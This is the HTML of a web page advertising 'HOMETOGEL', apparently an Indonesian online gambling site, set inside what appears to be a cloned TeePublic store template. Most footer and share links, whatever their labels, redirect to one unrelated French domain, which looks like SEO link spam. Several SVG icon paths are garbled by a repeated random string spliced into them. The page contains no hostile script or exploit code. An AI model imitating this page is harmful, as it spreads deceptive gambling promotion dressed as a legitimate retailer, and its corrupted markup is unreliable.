           <h4>HOMETOGEL Bedah Maxwin Lobi x entreprises-adaptees - Peta Scan Login Stabil malam ini</h4>
           <p>HOMETOGEL mengajak Anda membedah ritme maxwin lewat lobi yang lebih terarah dan peta scan yang stabil malam ini. Fokusnya tajam, alurnya ringkas, dan tiap detail disusun agar pembaca menangkap konteks sebelum melangkah lebih jauh. Simak ulasan lengkapnya.</p>
           <picture class='m-design-product-info--product-quality-image'>
            <source srcset='https://imagekuart.b-cdn.net/assetsmaya/logomaya.png' type='image/avif'>
            <source srcset='https://imagekuart.b-cdn.net/assetsmaya/logomaya.png' type='image/webp'>
            <img loading="lazy" src="https://imagekuart.b-cdn.net/assetsmaya/logomaya.png" />
           </picture>
          </div>
         </div>
         <style>
   :root {
    /* Mengubah palet abu-abu menjadi Yellow Chrome */
    --brand: #FFD700;      /* Gold/Chrome Light */
    --brand-mid: #FFB700;  /* Chrome Standard */
    --brand-dark: #FFA500; /* Chrome Deep */
    --border: #E6B800;
    --bg: #ffffff;
    --shadow: 0 6px 15px rgba(0, 0, 0, .08);
   }

   .app-card {
    max-width: 650px;
    margin: 25px auto;
    background: var(--bg);
    border-radius: 14px;
    overflow: hidden;
    box-shadow: var(--shadow);
    border: 1px solid var(--border);
    transition: transform .2s, box-shadow .3s;
    font-family: system-ui, Arial, sans-serif;
    font-size: .92rem;
   }

   .app-card:hover {
    transform: translateY(-2px);
    box-shadow: 0 10px 25px rgba(255, 183, 0, .2); /* Shadow sedikit kekuningan */
   }

   .app-header {
    padding: 12px 16px;
    text-align: center;
    /* Efek Gradasi Chrome Glossy */
    background: linear-gradient(135deg, var(--brand), var(--brand-mid), var(--brand-dark));
    color: #000000;
    font-weight: 800;
    font-size: 1.15rem;
    text-shadow: 0 1px 1px rgba(255, 255, 255, 0.5); /* Shadow terang agar teks hitam terbaca mewah */
    border-bottom: 2px solid var(--border);
   }

   .app-table {
    width: 100%;
    border-collapse: collapse;
   }

   .app-table th,
   .app-table td {
    padding: 8px 12px;
    vertical-align: middle;
   }

   .app-table th {
    width: 35%;
    background: #FFF9E6; /* Kuning sangat muda untuk kontras kolom */
    color: #000000;
    font-weight: 700;
    letter-spacing: .2px;
    border-bottom: 1px solid var(--border);
    text-transform: uppercase;
    font-size: .85rem;
   }

   .app-table td {
    border-bottom: 1px solid #f0f0f0;
    color: #1f1f1f;
    font-size: .9rem;
   }

   @media(max-width:640px) {
    .app-table,
    .app-table tbody,
    .app-table tr,
    .app-table th,
    .app-table td {
     display: block;
     width: 100%;
    }
    .app-table th { border-bottom: none; background: #FFF4CC; }
   }

   .review-section {
    max-width: 850px;
    margin: 30px auto;
    display: flex;
    flex-direction: column;
    gap: 18px;
    font-family: system-ui, Arial, sans-serif;
   }

   .review-card {
    background: #fdfdfd;
    padding: 16px 20px;
    border-radius: 10px;
    /* Aksen garis samping Yellow Chrome */
    border-left: 5px solid #ff0000;
    box-shadow: 0 3px 6px rgba(0, 0, 0, .05);
    transition: all .25s ease-in-out;
    border-top: 1px solid #eee;
    border-right: 1px solid #eee;
    border-bottom: 1px solid #eee;
   }

   .review-card:hover {
    transform: translateY(-3px);
    box-shadow: 0 5px 10px rgba(255, 183, 0, .15);
    background: #fff;
   }

   .review-author {
    font-weight: 700;
    color: #000000;
    margin-bottom: 4px;
    display: flex;
    align-items: center;
    gap: 6px;
    font-size: 15px;
   }

   .review-author::before {
    content: "🤴";
    font-size: 20px;
    filter: sepia(1) saturate(5) hue-rotate(10deg); /* Membuat emoji sedikit kekuningan */
   }

   .review-card p {
    margin: 0;
    color: #222;
    font-size: 14px;
    line-height: 1.6;
   }

   .review-rating {
    margin-left: auto;
    font-weight: 700;
    color: var(--brand-dark); /* Nilai angka rating jadi warna chrome */
   }

   /* ⭐ STAR SYSTEM - Sekarang Full Yellow Chrome */
   .stars {
    --rating: 5;
    --star-size: 1rem;
    --star-gap: 2px;
    --star-empty: #e0e0e0;
    --star-fill: var(--brand-mid); /* Warna bintang jadi kuning chrome */
    position: relative;
    display: inline-block;
    font-size: var(--star-size);
    line-height: 1;
    letter-spacing: var(--star-gap);
   }

   .stars::before {
    content: "★★★★★";
    color: var(--star-empty);
   }

   .stars::after {
    content: "★★★★★";
    color: var(--star-fill);
    position: absolute;
    left: 0;
    top: 0;
    width: calc((var(--rating)/5)*100%);
    overflow: hidden;
    white-space: nowrap;
    pointer-events: none;
    /* Efek kilau pada bintang */
    text-shadow: 0 0 2px rgba(255, 165, 0, 0.4);
   }

   .stars.lg {
    --star-size: 1.1rem;
    letter-spacing: 3px
   }

   .badge {
    display: inline-flex;
    align-items: center;
    gap: 8px;
    flex-wrap: wrap
   }

   .badge small {
    color: #555;
    font-weight: 600
   }
</style>
        </div>

       </div>
       <div class='m-design__additional-info-container'>
        <div class='contain contain--wide-3'>
         <div class='m-design__additional-info' data-controller='rudderstack--link-clicked' data-rudderstack--link-clicked-location-value='related_tags_artists_applied_tags'>
          <div class='m-design__additional-info' data-controller='rudderstack--link-clicked' data-rudderstack--link-clicked-location-value='related_tags_customers_also_search'>
           <div class='m-design__additional-info' data-controller='rudderstack--link-clicked' data-rudderstack--link-clicked-location-value='related_tags_trending_tags'>
           </div>
          </div>
         </div>
         <div class='m-product-options__social'>
          <div class='contain contain--wide-3'>
           <h4 class='m-product-options__social-title h--no-s-t'> Share this design: </h4>
           <div class='jsSocial'>
            <ul class='m-social-share'>
             <li>
              <a aria-label="Share to Twitter" onclick="window.open(this.href,&#39;pagename&#39;,&#39;resizable,height=400,width=600&#39;); return false" href="https://entreprises-adaptees.fr/rse" class="link jsTwitterProductShare gtmTwitterProductShare twitter link--1 link--default">
               <span class='link__content'>
                <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent teepublicon-variant--circle medium">
                 <img src="https://assets.teepublic.com/assets/teepublicons/twitter_x-e7ec227c1ad2634b8096bcccb765eddf5be0612af99dc39f81589c7440f53741.svg" loading="lazy" height="24" width="24" aria_hidden="true" focusable="false">
                </span>
               </span>
              </a>
             </li>
             <li>
              <a aria-label="Share to Facebook" onclick="window.open(this.href,&#39;pagename&#39;,&#39;resizable,height=400,width=600&#39;); return false" href="https://entreprises-adaptees.fr/rse" class="link gtmFbProductShare facebook link--1 link--default">
               <span class='link__content'>
                <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent teepublicon-variant--circle medium">
                 <img src="https://assets.teepublic.com/assets/teepublicons/facebook-782a69eed8f8c44472034fa1a149c795915e716c13a0c9499e024cb5d43f3ba5.svg" loading="lazy" height="24" width="24" aria_hidden="true" focusable="false">
                </span>
               </span>
              </a>
             </li>
             <li>
              <a aria-label="Share to Linktree" target="_blank" href="https://entreprises-adaptees.fr/rse" class="link gtmLinktreeProductShare linktree link--1 link--default">
               <span class='link__content'>
                <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent teepublicon-variant--circle medium">
                 <img src="https://assets.teepublic.com/assets/teepublicons/linktree-77e016868e593884b6412143a45aad6268f47dc11dede4fe3dfec967af8379c7.svg" loading="lazy" height="24" width="24" aria_hidden="true" focusable="false">
                </span>
               </span>
              </a>
             </li>
             <li>
              <a aria-label="Save to Pinterest" onclick="window.open(this.href,&#39;pagename&#39;,&#39;resizable,height=400,width=600&#39;); return false" href="https://entreprises-adaptees.fr/rse" class="link jsPinterestProductShare gtmPinterestProductShare pinterest link--1 link--default">
               <span class='link__content'>
                <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent teepublicon-variant--circle medium">
                 <img src="https://assets.teepublic.com/assets/teepublicons/pinterest-bf44b194464a76e11f21f63eedb266534dafbdd4d28f646eb1f731f0737f1d27.svg" loading="lazy" height="24" width="24" aria_hidden="true" focusable="false">
                </span>
               </span>
              </a>
             </li>
             <li>
              <a aria-label="Share to Reddit" target="_blank" href="https://entreprises-adaptees.fr/rse" class="link gtmRedditProductShare reddit link--1 link--default">
               <span class='link__content'>
                <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent teepublicon-variant--circle medium">
                 <img src="https://assets.teepublic.com/assets/teepublicons/reddit-a08812dd6e957c987946f6fa3808df6dada5b1f95e538017767af02adfda49b8.svg" loading="lazy" height="24" width="24" aria_hidden="true" focusable="false">
                </span>
               </span>
              </a>
             </li>
             <li>
              <a aria-label="Share to Tumblr" target="_blank" href="https://entreprises-adaptees.fr/rse" class="link jsTumblrProductShare gtmTumblrProductShare tumblr link--1 link--default">
               <span class='link__content'>
                <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent teepublicon-variant--circle medium">
                 <img src="https://assets.teepublic.com/assets/teepublicons/tumblr-72746366fce360d1a23b94973d204278af451141b23aebe1dd3671bfff083f2a.svg" loading="lazy" height="24" width="24" aria_hidden="true" focusable="false">
                </span>
               </span>
              </a>
             </li>
            </ul>
           </div>
          </div>
         </div>
        </div>
        <div class='modal' id='garment-modal'>
         <div class='modal-container'>
          <div class='close-modal close-reveal-modal tp-x-close-new jsCloseModal'></div>
          <div class='row'>
           <div class='col-md-12'>
            <div class='modal-content sizechart-canvas-modal__content' id='garment'></div>
           </div>
          </div>
         </div>
        </div>
        <div class='modal' id='sizechart-modal'>
         <div class='modal-container'>
          <div class='close-modal close-reveal-modal tp-x-close-new jsCloseModal'></div>
          <div class='row'>
           <div class='col-md-12'>
            <div class='modal-content sizechart-canvas-modal__content' id='sizechart'></div>
           </div>
          </div>
         </div>
        </div>
        <div class='jsSizeChartCanvasModal modal'>
         <div class='modal-container'>
          <div class='close-modal close-reveal-modal tp-x-close-new jsCloseModal'></div>
          <div class='row'>
           <div class='col-md-12'>
            <div class='modal-content sizechart-canvas-modal__content jsSizeChartCanvasModalContent'>
             <img>
            </div>
           </div>
          </div>
         </div>
         <div class='m-footer-sitemap'>
          <div class='m-footer-sitemap-container wrapper'>
           <div class='m-footer__trusted-badges'>
            <figure class='m-footer__guarantee-image'>
             <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
              <img src="https://imagekuart.b-cdn.net/assetsmaya/logomaya.png" alt="SITUS HOMETOGEL" style="width:50%; height:auto; max-width:500px; display:block; margin:0 auto;" />
             </span>
            </figure>
            <div class='m-footer__trusted-text'>
             <div class='m-footer__guarantee-text'>
              <p class='m-footer__guarantee-headline'> Don't love it? We'll fix it. For free. </p>
              <p class='m-footer__guarantee-subtext'> 100% Free Exchanges. </p>
             </div>
             <p class='m-footer__guarantee-link'>
              <a target="_blank" href="https://entreprises-adaptees.fr/rse" class="link link__cta link__cta--on-dark link--default">
               <span class='link__content'> SITUS HOMETOGEL </span>
              </a>
             </p>
            </div>
           </div>
           <div class='m-footer-links m-footer-section'>
            <div class="link-collection m-foot__links-section">
             <div class="link-collection__body">
              <h4 class="h__h4 link-collection__header h--no-s">Support</h4>
              <div class="link-collection__content">
               <a data-gtm-footer-link-text="Order Status" style="--animation-order: " href="/order/status" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> Order Status </span>
               </a>
               <a data-gtm-footer-link-text="Create" style="--animation-order: " href="/contact" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> Contact Us </span>
               </a>
               <a data-gtm-footer-link-text="Coupon Codes" style="--animation-order: " href="https://entreprises-adaptees.fr/rse" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> Coupon Codes </span>
               </a>
               <a data-gtm-footer-link-text="FAQ" style="--animation-order: " href="https://entreprises-adaptees.fr/rse" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> FAQ </span>
               </a>
               <a data-gtm-footer-link-text="Free Shipping" style="--animation-order: " href="https://entreprises-adaptees.fr/rse" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> Free Shipping </span>
               </a>
               <a data-gtm-footer-link-text="Refunds &amp; Returns" style="--animation-order: " href="https://entreprises-adaptees.fr/rse" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> Refunds &amp; Returns </span>
               </a>
               <a data-gtm-footer-link-text="Shipping Info" style="--animation-order: " href="/shipping" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> Shipping Info </span>
               </a>
               <a data-gtm-footer-link-text="Size Chart" style="--animation-order: " href="/sizechart" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> Size Chart </span>
               </a>
               </div>
             </div>
            </div>
            <div class="link-collection m-foot__links-section">
             <div class="link-collection__body">
              <h4 class="h__h4 link-collection__header h--no-s">About Us</h4>
              <div class="link-collection__content">
               <a data-gtm-footer-link-text="About Us" style="--animation-order: " href="/about" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> About Us </span>
               </a>
               <a data-gtm-footer-link-text="Accessibility" style="--animation-order: " href="https://entreprises-adaptees.fr/rse" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> Accessibility </span>
               </a>
               <a data-gtm-footer-link-text="Create a Dashery Store" style="--animation-order: " href="https://entreprises-adaptees.fr/rse" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> Create a Dashery Store </span>
               </a>
               <a data-gtm-footer-link-text="Careers" style="--animation-order: " href="https://entreprises-adaptees.fr/rse" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> Careers </span>
               </a>
               <a data-gtm-footer-link-text="Hire an Artist" style="--animation-order: " href="https://entreprises-adaptees.fr/rse" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> Hire an Artist </span>
               </a>
               <a data-gtm-footer-link-text="Social Responsibility" style="--animation-order: " href="https://entreprises-adaptees.fr/rse" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> Social Responsibility </span>
               </a>
               <a data-gtm-footer-link-text="TeePublic Reviews" style="--animation-order: " href="https://entreprises-adaptees.fr/rse" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> TeePublic Reviews </span>
               </a>
              </div>
             </div>
            </div>
            <div class="link-collection m-foot__links-section">
             <div class="link-collection__body">
              <h4 class="h__h4 link-collection__header h--no-s">Explore</h4>
              <div class="link-collection__content">
               <a data-gtm-footer-link-text="All Designs" style="--animation-order: " href="https://entreprises-adaptees.fr/rse" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> All Designs </span>
               </a>
               <a data-gtm-footer-link-text="Content Directory" style="--animation-order: " href="https://entreprises-adaptees.fr/rse" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> Content Directory </span>
               </a>
               <a data-gtm-footer-link-text="Featured Designers" style="--animation-order: " href="https://entreprises-adaptees.fr/rse" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> Featured Artists </span>
               </a>
               <a data-gtm-footer-link-text="Newest Designers" style="--animation-order: " href="https://entreprises-adaptees.fr/rse" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> Newest Designers </span>
               </a>
               <a data-gtm-footer-link-text="Newest SITUS HOMETOGEL" style="--animation-order: " href="https://entreprises-adaptees.fr/rse" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> Newest SITUS HOMETOGEL </span>
               </a>
               <a data-gtm-footer-link-text="Tag Directory" style="--animation-order: " href="https://entreprises-adaptees.fr/rse" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> Tag Directory </span>
               </a>
              </div>
             </div>
            </div>
            <div class="link-collection m-foot__links-section">
             <div class="link-collection__body">
              <h4 class="h__h4 link-collection__header h--no-s">Artists</h4>
              <div class="link-collection__content">
               <a data-gtm-footer-link-text="Create" style="--animation-order: " href="https://entreprises-adaptees.fr/rse" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> Artist Signup </span>
               </a>
               <a data-gtm-footer-link-text="Design Guide" style="--animation-order: " href="https://assets.teepublic.com/assets/pdfs/designing-for-dtg-061ba741bd403ab1a5d84d0ed3ce584bae150e47068f0a275f72e64e8b577189.pdf" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> Design Guide </span>
               </a>
               <a data-gtm-footer-link-text="TeePublic Blog" style="--animation-order: " href="https://entreprises-adaptees.fr/rse" class="link gtmFooterLink link-collection__link link--1 link--default">
                <span class='link__content'> TeePublic Blog </span>
               </a>
              </div>
             </div>
            </div>
           </div>
           <div class='m-footer__social m-footer-section'>
            <h4 class='m-footer__social-links-header'>Follow Us</h4>
            <ul class='m-footer__social-links'>
             <li>
              <a data-gtm-footer-link-text="Facebook" target="_blank" href="https://www.facebook.com/TeePubliccom-865099700332025" class="link gtmFooterLink link--1 link--default">
               <span class='link__content'>
                <span class="teepublicon teepublicon--light-default teepublicon-background--transparent teepublicon-variant--circle size-250 teepublic--border-color-orange-800">
                 <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 50 50" width="20" height="20" focusable="false" aria-hidden="true">
                  <path fill-rule="evenodd" d="M28.848 50V24.997h6.902l.915-8.616h-7.817l.012-4.313c0-2.247.214-3.45 3.441-3.45h4.315V0h-6.903c-8.291 0-11.21 4.18-11.21 11.209v5.173h-5.168v8.616h5.168V50h10.345Z" clip-rule="evenodd"></path>
                 </svg>
                </span>
               </span>
              </a>
             </li>
             <li>
              <a data-gtm-footer-link-text="Instgram" target="_blank" href="https://www.instagram.com/teepublic/" class="link gtmFooterLink link--1 link--default">
               <span class='link__content'>
                <span class="teepublicon teepublicon--light-default teepublicon-background--transparent teepublicon-variant--circle size-250 teepublic--border-color-orange-800">
                 <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 50 50" width="20" height="20" focusable="false" aria-hidden="true">
                  <path fill-rule="evenodd" d="M25.003 0c-6.79 0-7.642.03-10.309.151-2.661.122-4.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo1.041 3.408-1.161 6.068-.12 2.667-.15 3.52-.15 10.309 0 6.79.03 7.64.15 10.306.123 2.661.544 4.478 1.162 6.067.64 1.645 1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.97 18.21 50 25 50c6.79 0 7.64-.03 10.306-.151 2.661-.122 4.48-.543 6.07-1.161 1.644-.639 3.037-1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo 50 31.79 50 25c0-6.79-.031-7.642-.151-10.308-.125-2.662-.547-4.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo37.964.272 35.302.151 32.635.03 31.787 0 24.995 0h.008ZM22.76 4.505h2.243c6.675 0 7.466.024 10.102.144 2.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.75 2.203.861 4.64.12 2.636.146 3.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo-1.872 2.873-.875.875-1.706 1.416-2.873 1.87-.88.343-2.204.75-4.641.861-2.636.12-3.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo995-2.875-1.87-.875-.875-1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo7.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo882-.344 2.205-.75 4.643-.862 2.306-.105 3.2-.136 7.859-.141v.006Zm15.587 4.151a3 3 0 1 0 0 6.001 3 3 0 0 0 0-6.002v.001Zm-13.344 3.505c-7.09 0-12.839 5.749-12.839 12.839 0 7.09 5.749 12.836 12.839 12.836 7.09 0 12.836-5.746 12.836-12.836s-5.746-12.838-12.836-12.838Zm0 4.506a8.333 8.333 0 1 1 0 16.666 8.333 8.333 0 0 1 0-16.666Z" clip-rule="evenodd"></path>
                 </svg>
                </span>
               </span>
              </a>
             </li>
             <li>
              <a data-gtm-footer-link-text="Pinterest" target="_blank" href="https://www.pinterest.com/teepub/" class="link gtmFooterLink link--1 link--default">
               <span class='link__content'>
                <span class="teepublicon teepublicon--light-default teepublicon-background--transparent teepublicon-variant--circle size-250 teepublic--border-color-orange-800">
                 <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 50 50" width="20" height="20" focusable="false" aria-hidden="true">
                  <path fill-rule="evenodd" clip-rule="evenodd" d="M25 0C11.193 0 0 11.19 0 25c0 10.59 6.59 19.637 15.888 23.28-.219-1.976-.414-5.01.088-7.174.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo0 3.162 1.602 3.162 3.523 0 2.145-1.365 5.35-2.071 8.323-.588 2.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo11.287 5.336-11.287 10.85 0 2.148.824 4.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo3.12-1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo 8.616-5.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo09 4.892-3.106 6.553A24.878 24.878 0 0 0 25 50c13.807 0 25-11.193 25-25C50 11.19 38.807 0 25 0Z"></path>
                 </svg>
                </span>
               </span>
              </a>
             </li>
             <li>
              <a data-gtm-footer-link-text="Reddit" target="_blank" href="https://www.reddit.com/r/teepublic/" class="link gtmFooterLink link--1 link--default">
               <span class='link__content'>
                <span class="teepublicon teepublicon--light-default teepublicon-background--transparent teepublicon-variant--circle size-250 teepublic--border-color-orange-800">
                 <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 50 50" width="20" height="20" focusable="false" aria-hidden="true">
                  <path fill-rule="evenodd" clip-rule="evenodd" d="M47.297 30.934c0-.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.784 1.348c-3.665-2.304-8.315-3.691-13.3-3.985l2.6-8.219 7.147 1.682a5.03 5.03 0 0 0 5.01 4.662 5.034 5.034 0 0 0 5.028-5.025 5.035 5.035 0 0 0-5.029-5.028 5.026 5.026 0 0 0-4.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo96A5.99 5.99 0 0 0 6.01 18.54 6.016 6.016 0 0 0 0 24.55a6 6 0 0 0 2.603 4.944c-.066.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo 11.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo1.784a1.366 1.366 0 0 1 1.931 1.931c-1.74 1.741-4.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo0 0 1 1.93 0c1.2 1.2 3.25 1.783 6.273 1.783.01 0 .018.004.025.004l.01-.001h.004l.003-.002h.01Zm-4.029-9.805c0-1.868-1.515-3.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo3.385Zm8 0c0-1.869 1.572-3.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo-3.44-3.384Z"></path>
                 </svg>
                </span>
               </span>
              </a>
             </li>
             <li>
              <a data-gtm-footer-link-text="Tumblr" target="_blank" href="https://www.tiktok.com/@teepublic" class="link gtmFooterLink link--1 link--default">
               <span class='link__content'>
                <span class="teepublicon teepublicon--light-default teepublicon-background--transparent teepublicon-variant--circle size-250 teepublic--border-color-orange-800">
                 <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 50 50" width="20" height="20" focusable="false" aria-hidden="true">
                  <path d="M46.748 20.504c-4.3.01-8.495-1.33-11.992-3.834v17.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo1.45.182 2.166a11.935 11.935 0 0 0 5.266 7.836 11.862 11.862 0 0 0 6.544 1.967v8.535Z"></path>
                 </svg>
                </span>
               </span>
              </a>
             </li>
             <li>
              <a data-gtm-footer-link-text="Twitter" target="_blank" href="https://twitter.com/TeePublic" class="link gtmFooterLink link--1 link--default">
               <span class='link__content'>
                <span class="teepublicon teepublicon--light-default teepublicon-background--transparent teepublicon-variant--circle size-250 teepublic--border-color-orange-800">
                 <svg viewbox="0 0 50 50" xmlns="http://www.w3.org/2000/svg" width="20" height="20" focusable="false" aria-hidden="true">
                  <path d="M35.502 6h6.133l-13.4 15.317L44 42.155H31.657l-9.667-12.64-11.063 12.64H4.79l14.333-16.383L4 6.002h12.657l8.738 11.553L35.502 6ZM33.35 38.485h3.398L14.81 9.478h-3.647L33.35 38.485Z"></path>
                 </svg>
                </span>
               </span>
              </a>
             </li>
            </ul>
           </div>
           <div class='m-footer__payment-methods m-footer-section'>
            <h4 class='m-footer__payment-methods-header'>We Accept</h4>
            <div class='m-footer-payments-bbb'>
             <div class='m-footer__payment-methods-images'>
              <figure>
               <img loading="lazy" alt="We Accept Visa, Mastercard, American Express, Discover, PayPal, and Apple Pay" src="https://assets.teepublic.com/assets/vendors/payment-methods-domestic-e3efe0cf0b9636c5ed76d563d87735104df12cf15afda7d20911d95bdbf6e360.png" />
              </figure>
             </div>
             <div class='m-footer__trust-images'>
              <div class='m-footer__bbb'>
               <a target="_blank" href="https://www.bbb.org/us/ny/new-york/profile/online-retailer/teepublic-0121-168669" class="link link--1 link--default">
                <span class='link__content'>
                 <img loading="lazy" alt="Better Business Bureau Accredited Business" src="https://assets.teepublic.com/assets/vendors/bbb-f6c79431393cee623e1d7db1c8d5623312fe5c7de4f48a47d04fb4b0c435c5c0.png" />
                </span>
               </a>
              </div>
              <div class='m-footer__trusted-stores'>
               <iframe height='70' loading='lazy' src='https://www.google.com/shopping/customerreviews/badge?usegapi=1&amp;merchant_id=107797987&amp;position=INLINE&amp;hl=en_US&amp;origin=https%3A%2F%2Fwww.teepublic.com&amp;gsrc=3p&amp;jsh=m%3B%2F_%2Fscs%2Fabc-static%2F_%2Fjs%2Fk%3Dgapi.lb.en.8uXxGUoumbY.O%2Fd%3D1%2Frs%3DAHpOoo96qx3mL4tzGUOa-0q0udyPRqEAoA%2Fm%3D__features__#_methods=onPlusOne%2C_ready%2C_close%2C_open%2C_resizeMe%2C_renderstart%2Concircled%2Cdrefresh%2Cerefresh&amp;id=I1_1709056039105&amp;_gfid=I1_1709056039105&amp;parent=https%3A%2F%2Fwww.teepublic.com&amp;pfname=&amp;rpctoken=37712624' style='border:none;' width='175'></iframe>
              </div>
             </div>
            </div>
           </div>
          </div>
         </div>
         <div class='m-footer__legal-bar'>
          <div class='m-footer__legal-bar-container wrapper'>
           <div class='m-footer__legal-bar-header'>
            <div class='m-footer__legal-bar-header-copyright'> © TP Apparel LLC 2012 - 2025 </div>
            <div class='m-footer__legal-bar-header-browse-preferences'>
             <button type="button" class="btn jsChangeIntlSettings btn--no-space tp-btn--medium btn--no-background btn--cta btn--cta--on-dark tp-btn--icon">
              <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
               <img src="https://assets.teepublic.com/assets/teepublicons/globe_primary400-4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo" width="16" aria_hidden="true" focusable="false">
              </span>
              <div class='button__content'> United States - $ USD </div>
             </button>
            </div>
           </div>
           <div class='m-footer__legal-bar-subnav'>
            <a data-gtm-footer-link-text="Copyright Policy" rel="nofollow" target="_blank" href="https://teepublic.zendesk.com/hc/en-us/articles/29890745668631-General-Product-Safety-Regulation-GSPR" class="link m-footer__legal-bar-subnav-link gtmFooterLink">
             <span class='link__content'> Product Safety </span>
            </a>
            <a data-gtm-footer-link-text="Copyright Policy" rel="nofollow" href="/intellectual-property-policy" class="link m-footer__legal-bar-subnav-link gtmFooterLink">
             <span class='link__content'> Intellectual Property Policy </span>
            </a>
            <a data-gtm-footer-link-text="CCPA" rel="nofollow" href="/ccpa" class="link m-footer__legal-bar-subnav-link gtmFooterLink">
             <span class='link__content'> CA: Do Not Sell My Personal Information </span>
            </a>
